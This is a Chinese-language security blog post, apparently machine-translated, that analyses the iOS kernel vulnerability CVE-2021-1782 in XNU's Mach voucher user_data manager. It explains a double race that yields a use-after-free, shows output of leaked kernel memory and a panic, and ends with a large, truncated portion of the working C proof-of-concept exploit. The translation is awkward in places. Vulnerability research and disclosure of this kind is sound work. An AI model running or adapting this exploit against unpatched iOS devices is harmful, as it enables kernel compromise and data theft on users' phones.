IOS内核漏洞CVE-2021-1782的分析和利用

  • A+
所属分类:移动安全

两周前,CVE-2021-1782被苹果公司修复。如果此内核漏洞的补丁很简单,那么仍将发现一种利用该漏洞的方法。这篇博客文章旨在解释在提供PoC时如何利用漏洞。

TL / DR:你要比赛两次利用该bug,在PoC是在年底或出现。


编辑:好吧,@ ModernPwner似乎刚刚发布了此漏洞的利用程序,比我们快了几个小时!恭喜他们!您可以在此处找到他们的漏洞利用。


介绍

苹果几天前发布了iOS 14.4,主要解决了安全问题。首先,发行说明描述了根据编辑器CVE-2021-1782(内核),CVE-2021-1870和CVE-2021-1870(WebKit)被积极利用的三个漏洞。这些说明后来进行了更新,以包含有关其他问题的更多详细信息。


除了匿名研究员报告的种族状况外,CVE-2021-1782的详细信息还很少。但是,由于此更新仅针对新功能,因此可以通过二进制差异查找内核错误。CVE-2021-1782是由于凭证实施中缺少锁定而迅速成为公共信息(@ s1guza)user_data_get_value()。


几天后,XNU最新资源(xnu-7195.81.3)的发布给出了以下新代码user_data_get_value():

switch (command) {case MACH_VOUCHER_ATTR_REDEEM:
/* redeem of previous values is the value */ if (0 < prev_value_count) { elem = (user_data_element_t)prev_values[0];
user_data_lock(); // the locks were added here ... assert(0 < elem->e_made); elem->e_made++; user_data_unlock(); // ... and here
*out_value = (mach_voucher_attr_value_handle_t)elem; return KERN_SUCCESS; }
/* redeem of default is default */ *out_value = 0; return KERN_SUCCESS;

我们想知道该漏洞如何被利用。起初,很明显,本节可以与自己比赛,而e_made计数可能会丢失。这是因为增量不是原子的。但是,通过查看代码,如何利用它来实现潜在的“售后使用”情况并不太明显。


我们花了一些时间来解决这个问题,这篇博客文章介绍了我们的结果以及触发该漏洞的PoC。


马赫凭证基础

凭证作为马赫对象

Mach凭证不是XNU最明显的概念,因此让我们从对它们的介绍开始。我们不会涵盖所有内容,但是我们将尝试提供足够的信息来理解为什么不能简单地访问UaF。


马赫凭证是用于存储和表示不可变资源的内核对象。凭证的大多数实现位于/osfmk/ipc/ipc_voucher.c源文件中。以纯Mach方式,凭证可以在用户域中作为mach port(mach_voucher_t)处理,而内核使用更复杂的struct ipc_voucher。然后,如预期的那样,可以通过在马赫消息中发送凭证来在进程间通信(IPC)中使用凭证。


凭证属性

在凭证的后面,可以引用各种资源。在凭证行话中,这些不同的资源称为属性。


现在XNU有4种不同的属性类型,banks,ipc_importance,ipc_thread_priority和user_data。对于今天的博客文章,我们仅关注user_data用于将用户数据存储为纯文本的凭证类型。


每个属性类型都有其自己的标识符,即键(mach_voucher_attr_key_t)。该键用于指定函数应使用的属性,以后再介绍。例如,可以通过访问“ bank”属性MACH_VOUCHER_ATTR_KEY_BANK。


此外,每个属性还带有其自己的管理器(ipc_voucher_attr_manager_t),该管理器是一组用于处理凭单下特定数据的回调。

struct ipc_voucher_attr_manager {    ipc_voucher_attr_manager_release_value_t        ivam_release_value;    ipc_voucher_attr_manager_get_value_t            ivam_get_value;    ipc_voucher_attr_manager_extract_content_t      ivam_extract_content;    ipc_voucher_attr_manager_command_t              ivam_command;    ipc_voucher_attr_manager_release_t              ivam_release;    ipc_voucher_attr_manager_flags                  ivam_flags;};

最后但并非最不重要的ipc_voucher_attr_control_t一点是,每个属性还链接了一个控制端口(),但这不在本文的讨论范围之内。有关如何注册属性管理器的更多详细信息,请参见的代码ipc_register_well_known_mach_voucher_attr_manager()。


考虑到这一点,我们可以说整个凭证实现分为两层:

  • 上层通用凭证层,负责簿记(对参考进行计数和存储)和IPC(处理用户名/ kerneland港口翻译)

  • 特定于属性并由属性管理器处理的内层。


凭证创建

从用户那里,由于有了host_create_mach_voucher()马赫陷阱,所以可以创建代金券:

kern_return_t host_create_mach_voucher(mach_port_name_t host,    mach_voucher_attr_raw_recipe_array_t recipes,    mach_voucher_attr_recipe_size_t recipesCnt,    mach_port_name_t *voucher)

因此host_create_mach_voucher()需要一组一个或多个配方(mach_voucher_attr_recipe_data_t)。配方说明了内核在生成引用之前应如何构造凭证。配方由command,属性key和通常是content或对的引用组成previous_voucher(但可能两者都有)。

typedef struct mach_voucher_attr_recipe_data {    mach_voucher_attr_key_t                 key;    mach_voucher_attr_recipe_command_t      command;    mach_voucher_name_t                     previous_voucher;    mach_voucher_attr_content_size_t        content_size;    uint8_t                                 content[];} mach_voucher_attr_recipe_data_t;

在凭证创建期间,ipc_execute_voucher_recipe_command()将为该组的每个配方调用该凭证。它考虑了成形凭证command和提供的content凭证或先前的凭证。形成凭证通过每个配方,然后将所得凭证返还给用户区。


例如,通过在MACH_VOUCHER_ATTR_COPY命令中使用配方和上一个凭证,我们将获得一个新凭证,该凭证是前一个凭证的副本。如果看起来很傻,那是因为我们通常使用特定于凭证属性的命令来创建凭证。例如,user_data可以使用包含MACH_VOUCHER_ATTR_USER_DATA_STORE命令的配方制作凭证。以下是如何创建此类凭证的示例:

struct store_recipe {        mach_voucher_attr_recipe_data_t recipe;        uint8_t content[1024];};
struct store_recipe recipe = {0};recipe.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;recipe.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;recipe.recipe.content_size = VOUCHER_CONTENT_SIZE;
strcpy(recipe.content, "SYNACKTIV");
mach_port_t port = MACH_PORT_NULL;host_create_mach_voucher(mach_host_self(), &recipe, sizeof(recipe), &port);

之后,可以使用提取凭证的内容mach_voucher_extract_attr_recipe()。


凭证记账

在凭证内,值与泛型一起存储struct ivac_entry_s:

struct ivac_entry_s {    iv_value_handle_t       ivace_value;    iv_value_refs_t         ivace_layered:1,     /* layered effective entry */        ivace_releasing:1,                       /* release in progress */        ivace_free:1,                            /* on freelist */        ivace_persist:1,                         /* Persist the entry, don't count made refs */        ivace_refs:28;                           /* reference count */    union {        iv_value_refs_t ivaceu_made;         /* made count (non-layered) */        iv_index_t      ivaceu_layer;        /* next effective layer (layered) */    } ivace_u;    iv_index_t              ivace_next;          /* hash or freelist */    iv_index_t              ivace_index;         /* hash head (independent) */};typedef struct ivac_entry_s       ivac_entry;typedef ivac_entry              *ivac_entry_t;
#define ivace_made ivace_u.ivaceu_made#define ivace_layer ivace_u.ivaceu_layer

这ivace_value是不透明的类型,取决于存储的属性。例如,当与user_data属性一起使用时,此字段存储一个user_data_element_t。


ivace_next和ivace_index是索引,用于ivac_entry_t从不同的表中检索。但是,凭证在更高层上存储其条目的方式与CVE-2021-1782的研究并不真正相关,因此我们将继续进行下去。


更有趣的是,我们看到ivace_refs和ivace_made。ivace_refs代表ivace_value存在多少个实时引用(即引用计数),该引用数会发生波动。ivace_made占引用的时间,因此该字段只会增加。为了简单起见,我们假设大多数情况下,ivace_made和ivace_refs都是使用一起增加的ivace_reference_by_value()(更狂热的读者总是可以阅读ivace_reference_by_index()以查看更多细微差别)。


重要的是要知道,由于凭单的不可更改性(仅读为准),因此无需两次存储相同的值(即整个概念)。为了避免这样做,实施了重复数据删除功能。因为凭证层不知道属性管理器如何存储值,所以通常在两个层上都可以找到此功能。例如,请参见iv_dedup()(凭证层)和user_data_dedup()(经理层)。这个事实也解释了为什么voucher_t当我们两次创建相同的凭单时会得到相同的端口。


漏洞和凭证发布周期

现在我们可以回到的补丁了user_data_get_value()。此函数是.ivam_get_value“ user_data”属性管理器的回调。它在凭证创建期间用于user_data_element_t从该层获取。

struct user_data_value_element {    mach_voucher_attr_value_reference_t     e_made;    mach_voucher_attr_content_size_t        e_size;    iv_index_t                              e_sum;    iv_index_t                              e_hash;    queue_chain_t                           e_hash_link;    uint8_t                                 e_data[];};
typedef struct user_data_value_element *user_data_element_t;

与MACH_VOUCHER_ATTR_USER_DATA_STORE命令一起使用时,除非存在重复项user_data_element_t,user_data_get_value()否则创建新项。与MACH_VOUCHER_ATTR_REDEEM命令一起使用时,user_data_get_value()将从先前的凭证(或成形凭证)中获取值。在这两种情况下,e_made参考值都是递增的(请参阅参考资料user_data_dedup())。


缺少user_data_lock(),我们知道该漏洞使我们能够应对e_made增量。实际上,通过发出两个host_create_mach_voucher()和命令MACH_VOUCHER_ATTR_REDEEM,我们也许可以“跳过”一个增量。


因此,该元素的引用计数可能在管理者级别处于关闭状态。现在出现了一个问题:如何user_data_element_t释放它?好吧,让我们看看user_data_release_value()哪个负责发布user_data_element_t。


当释放上层的表示值时,此函数仅称为中的.ivam_release_value回调。这是相关的和带注释的代码:ivace_release()ivac_entry_t

static void ivace_release(    iv_index_t key_index,    iv_index_t value_index){    // [...]    ipc_voucher_attr_control_t ivac;    mach_voucher_attr_value_reference_t made;    ivac_entry_t ivace;    // [...]
ivgt_lookup(key_index, FALSE, &ivam, &ivac); [1] ivac_lock(ivac); // [...] ivace = &ivac->ivac_table[value_index]; [2] // [...] if (0 < --ivace->ivace_refs) { [3] ivac_unlock(ivac); return; } // [...] value = ivace->ivace_value; [4]
redrive: // [...] made = ivace->ivace_made; ivac_unlock(ivac); [5]
kr = (ivam->ivam_release_value)(ivam, key, value, made); [6]
ivac_lock(ivac); ivace = &ivac->ivac_table[value_index];
/* * new made values raced with this return. If the * manager OK'ed the prior release, we have to start * the made numbering over again (pretend the race * didn't happen). If the entry has zero refs again, * re-drive the release. */
[7] // [...] [8] // [...] /* Put this entry on the freelist */ ivace->ivace_value = 0xdeadc0dedeadc0de; ivace->ivace_releasing = FALSE; ivace->ivace_free = TRUE; ivace->ivace_made = 0; ivace->ivace_next = ivac->ivac_freelist; ivac->ivac_freelist = value_index;
ivac_unlock(ivac); ivac_release(ivac);
return;}
  • 在[1]中,经理被提取user_data_manager。

  • 在[2]中,获取了负责我们价值的虚假信息。

  • 在[3]中,如果不是最后一个引用,则释放过程将停止。

  • 在[4]中user_data_element_t被获取。

  • 在[5]中,将ivac锁放开,这为ivace-> ivace_made修改的竞赛提供了空间,但这是另一回事了。

  • 在[6]中,函数user_data_release_value()以我们的元素ivace->ivace_made作为参数被调用。

  • 在[7]有最终的比赛在搬运[5] ,这是有趣的,但超出范围现在。

  • 在[8]中,ivace从ivac哈希表中删除。

这是有关的代码user_data_release_value():

static kern_return_tuser_data_release_value(    ipc_voucher_attr_manager_t              __assert_only manager,    mach_voucher_attr_key_t                 __assert_only key,    mach_voucher_attr_value_handle_t        value,    mach_voucher_attr_value_reference_t     sync){    // [...]    user_data_lock();    if (sync == elem->e_made) {        queue_remove(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link);        user_data_unlock();        kfree(elem, sizeof(*elem) + elem->e_size);        return KERN_SUCCESS;    }    assert(sync < elem->e_made);    user_data_unlock();
return KERN_FAILURE;}

ivace->ivace_made作为sync参数传递的事实非常有趣。的确,如果sync不等于elem->e_made,elem就不会释放。


现在我们意识到,这两层都有一个计数,应该同步。一般的想法是,在正常操作下,elem->e_made应匹配ivace->ivace_made。这种实现方式是这样的,以便在调用时发生(合法)竞争时ivace_release(),管理器不会最终释放资源。


当我们碰巧触发漏洞并跳过一个增量时,我们只会得到一个ivace->ivace_made大于的值elem->e_made。这打破了同步,也打破了我们希望user_data_element_t有空后再使用的希望。


好吧,必须有另一种“重新同步”层的方法!


另一场(合法的)比赛

到目前为止,我们知道ivace->ivace_made会增加ivace_reference_by_value()。另一方面elem->e_made,user_data_get_value()当我们使用MACH_VOUCHER_ATTR_REDEEM或创建凭证时,通过递增MACH_VOUCHER_ATTR_USER_DATA_STORE。


为了使所有内容保持同步,我们希望两个函数始终一起被调用。在中ipc_replace_voucher_value(),就是这种情况,在凭证创建过程中大多数命令都会调用:

/* *  Routine:    ipc_replace_voucher_value *  Purpose: *      Replace the <voucher, key> value with the results of *      running the supplied command through the resource *      manager's get-value callback. *  Conditions: *      Nothing locked (may invoke user-space repeatedly). *      Caller holds references on voucher and previous voucher. */static kern_return_tipc_replace_voucher_value(    ipc_voucher_t                           voucher,    mach_voucher_attr_key_t                 key,    mach_voucher_attr_recipe_command_t      command,    ipc_voucher_t                           prev_voucher,    mach_voucher_attr_content_t             content,    mach_voucher_attr_content_size_t        content_size){    // [...]
/* save the current value stored in the forming voucher */ save_val_index = iv_lookup(voucher, key_index);
/* * Get the previous value(s) for this key creation. * If a previous voucher is specified, they come from there. * Otherwise, they come from the intermediate values already * in the forming voucher. */ prev_val_index = (IV_NULL != prev_voucher) ? iv_lookup(prev_voucher, key_index) : save_val_index; ivace_lookup_values(key_index, prev_val_index, // [1] previous_vals, &previous_vals_count);
/* Call out to resource manager to get new value */ new_value_voucher = IV_NULL; kr = (ivam->ivam_get_value)( // [2] ivam, key, command, previous_vals, previous_vals_count, content, content_size, &new_value, &new_flag, &new_value_voucher);
// [...]
/* * Find or create a slot in the table associated * with this attribute value. The ivac reference * is transferred to a new value, or consumed if * we find a matching existing value. */ val_index = ivace_reference_by_value(ivac, new_value, new_flag); // [3] iv_set(voucher, key_index, val_index);

/* * release saved old value from the newly forming voucher * This is saved until the end to avoid churning the * release logic in cases where the same value is returned * as was there before. */ ivace_release(key_index, save_val_index); // [4]
return KERN_SUCCESS;}


[1]中,我们检索了ivac_entry_t与成型凭单或关联的prev_voucher。然后从该条目中拉出user_data_element_t previous_vals。在这一点上,我们确信previous_vals无法释放。为了确立我们必须理解的引用语义.ivace_refs。这里有两种可能性:

  • 如果所考虑的凭单(prev_vouchervoucher)没有价值,previous_vals则为NULL。如果我们将新值存储MACH_VOUCHER_ATTR_USER_DATA_STORE在当前为空的新凭证中,则可能会发生这种情况。

  • 如果所考虑的凭证具有价值,则它可以来自prev_voucher或成形凭证。在第一种情况下,prev_voucher必须将a传递voucher_t给内核,因此我们获得了保存在voucher mach端口中的ivace参考。例如,当我们使用MACH_VOUCHER_ATTR_COPYMACH_VOUCHER_ATTR_REDEEM并指定前一张凭证时,就会发生这种情况。在第二种情况下,如果成形凭单具有价值,则意味着我们已经进行了的迭代ipc_execute_voucher_recipe_command()。在这种情况下,通过ivace_reference_by_value()(或ivace_reference_by_index())在上一次迭代中获取了ivace上的引用。

[2]处,我们将配方应用于管理器以从中获取新值(user_data_get_value())。由于重复数据删除,使用MACH_VOUCHER_ATTR_USER_DATA_STORE它可以创建一个新的user_data_element_t或重用现有的一个。使用MACH_VOUCHER_ATTR_REDEEM,auser_data_element_t被重用。在这两种情况下,在[2]之后我们都增加了new_value[0]->e_made

[3]中,我们创建或找到链接ivac_entry_t,然后递增ivace->ivace_refsivace->ivace_made

[4]中,我们释放ivac_entry_t成形凭证的先前值。

这里的语义非常复杂,我们花了一些时间来弄清楚如何使用此功能来利用CVE-2021-1782带来的不同步。确实,还有另一种棘手的比赛条件,允许在调温后的同步车user_data_element_t和同步车之间恢复同步,ivac_entry_t同时使ivac可以释放。

事实上,在[2] ,我们会碰到的new_value[0]->e_made一个值,而无需对链接的引用ivac_entry_t yet.要做到这一点,让我们考虑在漏洞被触发上的情况下user_data_element_t U0与相关ivac_entry_t IVAC0voucher_t V0 我们有:

U0.e_content = "AAAA" // chosen valueU0.e_made = N // unknown
IVAC0.ivace_refs = 1IVAC0.ivace_made = N+1 // thanks to the vulnerability

然后,我们将尝试在比赛中执行以下操作:

  • 主题1:消灭凭证通过mach_port_destroy(mach_task_self(), V0),这将触发ivace_release()IVAC0

  • 线程2:使用host_create_mach_voucher()和命令创建新的user_data凭证MACH_VOUCHER_ATTR_USER_DATA_STORE,使用的内容与V0(“ AAAA”)上的内容相同。

如果一切正常触发,我们可能有以下顺序:

  1. 线程2执行[1],这时我们还没有对IVAC0进行任何引用,因为还没有任何值。

  2. 线程2执行[2],因为重复数据删除U0.e_made递增为N + 1,所以我们仍然没有任何引用IVAC0.

  3. 线程1个执行ivace_release(),消耗在其上的最后的引用,以便user_data_release_value被调用,IVAC0.ivace_made并且U0.e_made匹配因此释放U0

  4. 线程2执行[3]创建一个新对象ivac_entry_tnew_value释放后将被使用。

  5. 线程2返回,为用户区提供了voucher_t引用释放的新内容user_data_element_t.

因此,我们获得了UaF

值得指出的是,第二场比赛是完全合法的,而不是错误。当先前的不同步(由漏洞引起)不可行时,我们认为没有真正的问题。在通常情况下,可以正确处理此竞争的代码会出现在ivace_release()(摘录中已注释掉)。至多,我们认为某些内容user_data_element_t可能永远不会被释放,但这是供读者了解的。

开发!

为了说明我们的(复杂的)解释,我们在https://github.com/synacktiv/CVE-2021-1782提供了一个iOS 13的POC,该POC泄漏了内核数据。

这个想法是喷雾控制OSData覆盖被释放的user_data_element_t。通过控制.e_size字段,我们可以使用来回读和读取数据mach_voucher_extract_attr_recipe()。(感谢Brandon Azad(@_bazad)提供了有用的iosurface.c!)。

-bash-3.2# ./voucher_leak 10000[+] legit recipe_size:1024[+] attempt number:0[+] UaF after 1 attempts[+] recipe_size was corrupted:0x13ff instead of 0x400!07 00 00 00 D3 00 00 00  00 00 00 00 EF 13 00 00  |  ................ 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
// [...]
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 | AAAAAAAAAAAAAAA. 00 00 00 00 00 00 00 00 00 57 05 00 00 00 00 00 | .........W...... 4E CC 00 00 00 00 00 00 00 57 05 00 00 00 00 00 | N........W...... 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 5F 5F 75 6E 77 69 6E 64 | ........__unwind 00 00 00 00 FF 00 00 00 80 47 C1 82 02 00 00 00 | .........G...... EF BE AD DE 00 00 00 00 EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ 92 EE B7 D7 C9 EE FF C0 00 4A 17 02 E0 FF FF FF | .........J...... 00 BC 1E 02 E0 FF FF FF 00 16 01 03 E0 FF FF FF | ................ 00 2A 01 03 E0 FF FF FF 00 38 01 03 E0 FF FF FF | .*.......8...... 00 10 01 03 E0 FF FF FF 00 34 01 03 E0 FF FF FF | .........4...... 00 3E 01 03 E0 FF FF FF 00 3C 01 03 E0 FF FF FF | .>.......<...... 00 3A 01 03 E0 FF FF FF 00 A6 13 03 E0 FF FF FF | .:.............. 00 78 06 02 E0 FF FF FF 00 80 0D 02 E0 FF FF FF | .x.............. 00 AC 0D 02 E0 FF FF FF 00 BA 13 03 E0 FF FF FF | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
// [...]
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE 2F 70 72 65 66 65 72 65 | ......../prefere 6E 63 65 73 2F 63 6F 6D 2E 61 70 70 6C 65 2E 6E | nces/com.apple.n 65 74 77 6F 72 6B 65 78 74 65 6E 73 69 6F 6E 2E | etworkextension. 75 75 69 64 63 61 63 68 65 2E 70 6C 69 73 74 00 | uuidcache.plist. EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................ EF BE AD DE EF BE AD DE 92 EE B7 D7 C9 EE FF C0 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 | ................ 11 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 | ........%....... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 03 2D 00 00 | .............-.. 00 00 06 00 00 00 00 00 00 19 16 01 E0 FF FF FF | ................ F0 2D 30 04 E0 FF FF FF 00 00 00 00 00 00 00 00 | .-0............. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 30 E0 80 32 01 00 00 00 34 00 00 00 01 00 00 00 | 0..2....4....... 01 00 00 00 01 00 00 00 00 00 00 80 01 00 00 00 | ................ 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 | ................ 25 00 00 00 00 00 00 00 F6 00 04 00 00 00 00 00 | %............... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 23 27 00 00 00 00 01 00 00 00 00 00 | ....#'.......... 00 00 00 00 00 00 00 00 F0 8F 14 00 E0 FF FF FF | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 90 38 71 02 01 00 00 00 | .........8q.....
// [...]

在iOS 14(<14.4)上,由于缓解了分配器,因此喷涂技术将不起作用。但是,我们仍然可以使用ools端口进行喷涂。但是,这不会造成泄漏,因为该.e_size成员与半个ipc_port_t指针碰撞。这使得大小太大而无法检索。这是因为最大5120字节(请参阅mach_voucher_extract_attr_recipe_trap()user_data_extract_content())。

您可以尝试-DWITH_OOL通过在内核崩溃时编译PoC来演示iOS 14(或更早版本)上的漏洞。这是通过和赎回命令来增加一个ipc_port_t指针(而不是.e_made)来完成的host_create_mach_voucher()

-bash-3.2# ./voucher_leak 10000[+] legit recipe_size:1024[+] attempt number:0[+] attempt number:1000[+] UaF detected with KERN_NO_SPACE![+] out ool ports probably got our alloc[+] let's try to panic...[+] 3[+] 2[+] 1Connection to 127.0.0.1 closed by remote host.Connection to 127.0.0.1 closed.

正如预期的那样,由于指针对齐已中断,因此在处理mach消息时会遇到以下恐慌:

panic(cpu 1 caller 0xXXXXXXXXXXXXXXXX): Unaligned kernel data abort. at pc 0xXXXXXXXXXXXXXXXX, lr 0xXXXXXXXXXXXXXXXX (saved state: 0xXXXXXXXXXXXXXXXX)

结论

至此,我们对CVE-2021-1782补丁的分析结束了。这次旅行使我们深入研究了马赫凭证的内部结构。利用了解和触发另一个(合法)竞争条件所需的漏洞。

我们认为应该有可能根据CVE-2021-1782(事实上,有些演员确实这样做了)来构成一次全面的越狱。此外,事实证明该漏洞确实稳定并且可以快速触发。因此,随时进行尝试。

我们希望对马赫凭证有所启发,即使困难重重,仍然有很多内容需要解决,在某些方面我们可能是错误的。如果您发现我们的帖子中有任何错误或发现利用此漏洞的其他方法,我们将很高兴收到您的来信,请随时与我们联系。

我要感谢我的同事Eloi Benoist-Vanderbeken,Fabien Perigaud和Etienne Helluy-Lafont在撰写本博客中所提供的帮助。

POC

/* 
This is a PoC for CVE-2021-1782, a XNU kernel vulnerability for iOS <= 14.3.The bug is a lack of locks in user_data_get_value() on the user_data voucher attribute manager.With a double race we can manage to get an user_data_element_t used after free.For more details see Synacktiv's blog post on: https://www.synacktiv.com/publications/analysis-and-exploitation-of-the-ios-kernel-vulnerabilty-cve-2021-1782.
On iOS 13 the bug will leak kernel data around an OSData allocation
To compile:
xcrun --sdk iphoneos clang -arch arm64 -framework IOKit voucher_leak.c iosurface.c log.c -O3 -o voucher_leak codesign -s - voucher_leak --entitlement entitlements.xml -f
The technique will not work on iOS 14 but if you want to demonstrate a kernel panic you can try with -DWITH_OOL
Credits to Brandon Azad for iosurface.c iosurface.h log.c log.h IOKitLib.h
*/
#include <stdint.h>#include <stdlib.h>#include <stdio.h>#include <pthread.h>#include <unistd.h>
#include <mach/mach.h>

#include "iosurface.h"#include "log.h"
#define MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE 5120#define MACH_VOUCHER_TRAP_STACK_LIMIT 256
#define NB_DESYNC_THREADS 2#define REDEEM_MULTIPLE_SIZE 256#define RECIPE_ATTR_MAX_SIZE 5120
// 1008 == 5120 - (256+1) * sizeof(mach_voucher_attr_recipe_data_t)#define VOUCHER_CONTENT_SIZE 1008 // make a 1008 + sizeof(user_data_value_element) == 1040 bytes kalloc()
#ifdef WITH_OOL#define NB_MSG 128#define NB_OOL_PORTS 130 // 130 * 8 == 1040 == 1008 + sizeof(user_data_value_element)#define NB_DESC 1#endif
#define ENFORCE(a, label) do { if (__builtin_expect(!(a), 0)) { ERROR("%s is false (l.%d)", #a, __LINE__); goto label; } } while (0)
/* from https://gist.github.com/ccbrown/9722406#file-dumphex-c */static void hexdump(const void* data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = ''; for (i = 0; i < size; ++i) { printf("%02X ", ((unsigned char*)data)[i]); if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { ascii[i % 16] = ((unsigned char*)data)[i]; } else { ascii[i % 16] = '.'; } if ((i+1) % 8 == 0 || i+1 == size) { printf(" "); if ((i+1) % 16 == 0) { printf("| %s n", ascii); } else if (i+1 == size) { ascii[(i+1) % 16] = ''; if ((i+1) % 16 <= 8) { printf(" "); } for (j = (i+1) % 16; j < 16; ++j) { printf(" "); } printf("| %s n", ascii); } } }}
#pragma pack(push, 4)struct store_recipe{ mach_voucher_attr_recipe_data_t recipe; uint64_t nonce; uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)];};
struct multi_redeem_recipe{ mach_voucher_attr_recipe_data_t store_recipe; uint64_t nonce; uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)]; mach_voucher_attr_recipe_data_t redeem_recipe[REDEEM_MULTIPLE_SIZE];};
struct user_data_value_element{ uint32_t e_made; uint32_t e_size; uint32_t e_sum; uint32_t e_hash; uint64_t e_hash_link_next; uint64_t e_hash_link_prev; uint8_t e_data[];};typedef struct user_data_value_element *user_data_element_t;#pragma pack(pop)
/* this is a really lousy way of sync'ing but it works pretty ok */enum race_sync_flag_e{ RACE_SYNC_STOPPED, RACE_SYNC_SPRAY_SETUP_READY, RACE_SYNC_SPRAY_GO, RACE_SYNC_ENTER_CRITICAL_SECTION, RACE_SYNC_SPRAY_DONE, RACE_SYNC_SPRAY_CLEANABLE,};typedef enum race_sync_flag_e race_sync_flag_t;


volatile uint64_t g_race_sync = 0;volatile uint64_t g_spray_abort_flag = 0;volatile mach_port_t g_voucher_port = MACH_PORT_NULL;


static int voucher_user_data_store(volatile mach_port_t *out_port, uint64_t nonce){ struct store_recipe store_r = {0}; store_r.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA; store_r.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE; store_r.recipe.content_size = VOUCHER_CONTENT_SIZE; store_r.nonce = nonce, memset(store_r.padding, 0, sizeof(store_r.padding));
mach_port_t port = MACH_PORT_NULL; ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&store_r, sizeof(store_r), &port) == KERN_SUCCESS, fail);
*out_port = port; return 0;fail: return -1;}
static int voucher_user_redeem_multiple(mach_port_t *out_port, uint64_t nonce, uint32_t number){
struct multi_redeem_recipe multi = {0};
multi.store_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA; multi.store_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE; multi.store_recipe.content_size = VOUCHER_CONTENT_SIZE; multi.store_recipe.previous_voucher = MACH_PORT_NULL; multi.nonce = nonce; memset(multi.padding, 0, sizeof(multi.padding));
for (uint64_t i = 0; i < number; i++) { multi.redeem_recipe[i].key = MACH_VOUCHER_ATTR_KEY_USER_DATA; multi.redeem_recipe[i].command = MACH_VOUCHER_ATTR_REDEEM; multi.redeem_recipe[i].content_size = 0; multi.redeem_recipe[i].previous_voucher = MACH_PORT_NULL; }
mach_port_t port = MACH_PORT_NULL; ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&multi, sizeof(mach_voucher_attr_recipe_data_t) + VOUCHER_CONTENT_SIZE + number * sizeof(mach_voucher_attr_recipe_data_t), &port) == KERN_SUCCESS, fail);
*out_port = port; return 0;fail: return -1;}
#ifdef WITH_OOLstatic int voucher_user_redeem_with_prev(mach_port_t *out_port, mach_port_t prev){
mach_voucher_attr_recipe_data_t recipe = {0};
recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA; recipe.command = MACH_VOUCHER_ATTR_REDEEM; recipe.content_size = 0; recipe.previous_voucher = prev;
